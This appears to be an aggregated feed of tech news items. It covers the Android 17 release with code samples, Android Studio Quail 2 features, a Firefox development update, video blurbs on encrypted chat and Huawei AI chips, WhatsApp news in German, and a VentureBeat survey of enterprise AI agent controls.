Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

• App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
• The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
• Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

• Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
• Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
• FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
• Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
• Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

• R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.
  

• LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
• ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
• On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

• System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
• Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
• System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
• EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

• WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
• Standard SMS OTP: Delayed for all apps targeting SDK 37+.
• Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

• Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
• Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

• Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
• RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
• Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
• Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
• Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
• Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
• Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

• Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
• Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

• Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
• Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
• Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
• Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
• Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
• NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

Posted by Amman Asfaw, Product Manager, Android Studio

Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.

Here’s a deep dive into what’s new:

Multi-tasking with parallel chats

In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.

• How to use: Click the "+" icon to start a new parallel conversation, and use the History icon to navigate between active tasks. Alternatively, select File > New > New Agent Tab to open a conversation in a dedicated tab.
• Note: Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.

Run multiple agent tasks in parallel with different models of your choice.

Memory leak detection with LeakCanary

Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError.

Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector LeakCanary is natively integrated directly into the Profiler as a dedicated, first-class task.

This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.

Once a leak is detected during a profiling session:

• The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.
• You can click Go to declaration on any leaking object in the trace to instantly jump to that exact line of code in your editor.
• You can click Fix with Agent to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.

Review memory leaks identified via LeakCanary through the Fix with Agent button.

App Quality Insights agent integration

Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.

When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click See more. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.

With the new agent integration, you move directly from issue identification to resolution. By clicking Fix with AI, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix

The Fix with AI button triggering the agent to analyze the issue, then propose the fix

Quality & stability improvements

Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.

Get Started

Ready to dive in and accelerate your development? Download Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. Check known issues, report bugs, and be part of our vibrant community on LinkedIn, Medium, YouTube, or X. 

Read more of this story at Slashdot.

• James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
• Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!

• Controls for the Memories feature can now be set during Smart Window onboarding

• We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation
  • NOTE: The blog post published at WebExtensions API changes in Firefox 149-152 provides to extensions developers more details about this deprecation and links to the related MDN docs.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Amin Amir
• Pranjali Srivastava
• Sam Johnson

New contributors (🌟 = first patch)

•  🌟:23rd: Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page
• 🌟Akeem Omosanya: Remove commented-out code in SearchService.sys.mjs
• Amin Amir:
  • 🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
  • Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
• 🌟Sahaj: Suggest the default target language for translation after changing the detected source language
• 🌟JIANG Zhirui: Breakpad build failed on Windows using VS2026 due to removal of stdext
•  John Iweh: Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices
• Jak: Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting
• 🌟Andy [:rgbcmy]: Autoplayed next video should also be PIP
•  konyhéa: “Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.
•  Pranjali Srivastava:
  • Remove icon property from sidebar extensions
  • Show language-agnostic SelectTranslations context menu item when the source and target languages are the same

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158

WebExtensions Framework

• Fixed access to web-accessible resources declared with <all_urls> from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905

WebExtension APIs

• Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

• Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
  • added support for remote debugging (#2014064, #2016121)
  • made sure that calls to History.replaceState are reflected in the UI (#2037359)
• Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
• Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
• Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

• Amin Amir cleaned up an incorrect variable assignment in our browsingContext module.
• Logan Rosen updated stale references and broken links in our documentation about Marionette.
• Sameem improved the Marionette and WebDriver BiDi screenshot commands to enforce maximum allowed dimensions.
• Leo McArdle fixed the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”.
• Henrik Skupin fixed an issue in Marionette where WebDriver:Navigate and WebDriver:Refresh did not handle errors when the underlying navigation failed.
• Henrik Skupin improved geckodriver to detect an early Firefox exit during startup on Android, avoiding up to 60 seconds of unnecessary connection attempts.
• Henrik Skupin updated the geckodriver CI build job to produce a universal macOS binary supporting both x64 and aarch64.

Lint, Docs and Workflow

• Sylvestre ported some linters (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words & more) to Rust to help improve the runtime of the code review bot.
• Dale has been working on migration to moz-src for customkeys, dom/quota and odom/geolocation
  • https://arewemozsrcyet.com/

New Tab Page

• We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
  • We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.
• Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
• Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!

Search and Urlbar

• Nova (URL Bar Design Refresh)
  • Drew and Daisuke continued their work on Nova styling for the Address bar (input and view).
• Search and Suggest
  • Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to update the localization string for scheduled games and another to show both teams’ icons in suggestions. Drew also landed and uplifted a fix for rich search suggestion icons being forced into a square aspect ratio.
  • Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.
• Settings Redesign (SRD)
  • Stephanie landed a test to ensure search suggestion settings are hidden when quicksuggest is disabled, as well as a patch to resolve TypeScript issues in search.mjs, and is adding test coverage to confirm removed search engines are not displayed in the default engines dropdown.
• General URL Bar and Component Updates
  • Daisuke landed implementation of the context menu on URL bar results, and a fix to show the loading URL in the URL bar when starting up with a homepage.
    • Marco is working on several tasks, including a PDF download / focus stealing issue and allowing arrays to be bound in Sqlite.sys.mjs. Marco also worked on fixes related to Places, such as avoiding replacing the favicons database if it is not corrupt.
  • Standard8 finalized the URL bar test manifest split. Standard8 also upgraded us to TypeScript 6.
  • Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (Bug 2032973), which was also uplifted. Moritz also simplified search mode switcher item activation in tests, and made it so that the unified search button popup closes when installing an open search engine.

Smart Window

• natural language starting with tab close/undo 2035343 with expandable action log 2031508

• assistant rendering feedback up/down 2032994 and markdown table 2027029
• nova styling blur 2027877 and suggestions 2026823
• accessibility screen reader 2028676 and keyboard focus 2037565
• optimize conversation starters extra requests 2030005 and caching 2033430

Storybook/Reusable Components/Acorn Design System

• Nova token updates occasionally, focused on SRD

UX Fundamentals

• Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

• Settings redesign is being tested and will hopefully go out in Firefox 152!

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Apps like Signal, WhatsApp, and iMessage promise nobody can read your messages. Mostly true - but in 2026, encrypted chat has three gaps you can't ignore, and the biggest one might already be sitting on your own computer. We sat down with David Wiseman, BlackBerry's VP of Secure Communications, to find out what end-to-end encryption actually protects, what it doesn't, and how attackers are walking around it without breaking a single line of code.

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Timestamps:
0:00 How Encrypted Chats Work
1:45 Signal, WhatsApp, iMessage, and Telegram
2:19 Sponsor
2:57 Metadata Still Leaks
4:02 Phishing, Linked Devices, and Recall
5:17 How to Protect Yourself
5:38 Credits

Huawei may have just become NVIDIA’s biggest problem in China.

In this video, we break down Huawei’s new Ascend 950PR AI chip, why it matters for the global semiconductor war, and how U.S. export restrictions may have accelerated China’s push toward technological independence. The Ascend 950PR is designed mainly for AI inference and is built by SMIC using advanced DUV multi-patterning. Huawei is also attacking NVIDIA’s biggest advantages beyond hardware by building a CUDA compatibility layer through CANN and scaling thousands of Ascend NPUs together inside the Atlas 950 SuperPod using UnifiedBus interconnect technology. We also look at reported demand from ByteDance, Alibaba Cloud, and Tencent, the role of DeepSeek models optimized for Ascend hardware, and why NVIDIA could lose major market share inside China even without Huawei beating its most advanced chips in every benchmark. This is bigger than one AI chip. China is building a parallel AI ecosystem across chips, software, networking, cloud infrastructure, and AI models — and Huawei is quickly becoming the center of it.

#Huawei #NVIDIA #AIChips #Ascend950PR #ChinaTech #Semiconductors #ArtificialIntelligence

WhatsApp erweitert seinen KI-Assistenten Meta AI um einen Inkognito-Modus. Damit können Nutzer künftig private Chats mit der KI führen, die nach dem Verlassen automatisch gelöscht werden. Wir erklären, wie du den neuen Modus aktivierst, was dabei mit deinen Daten passiert und wann die Funktion verfügbar ist.  Künstliche Intelligenz hat sich in den vergangenen Jahren rasant […]

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WhatsApp ermöglicht es jetzt auch auf dem iPhone, zwei Accounts gleichzeitig auf einem Gerät zu nutzen. Damit lassen sich etwa private und berufliche Chats bequem trennen, ohne ständig Konten wechseln oder eine zweite App verwenden zu müssen. Wir zeigen dir, wie die Einrichtung funktioniert. Android-Nutzer haben bereits seit 2023 die Möglichkeit, zwei WhatsApp-Konten gleichzeitig auf […]

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VentureBeat Research measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.

Most deployed "agents" are chatbots wearing the label. Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. (Full findings: Agentic Orchestration report.)

Autonomy is outrunning trust in the evaluations that gate it. Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. (Full findings: Agent Reliability & Evals report.)

Companies that let agents share credentials get hit more often. Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. (Full findings: Agentic Security & Identity report.)

The most expensive hardware in the building runs at half capacity or less. More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. (Full findings: AI Infrastructure & Compute report.)

Agents answer confidently from data nobody governs. Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. (Full findings: Context Layers / RAG report.)

No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.

About this research

VentureBeat Research fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability & Evals (157), Agentic Security & Identity (107), AI Infrastructure & Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and VB Transform, the conference where these reports debuted.

Introduction 

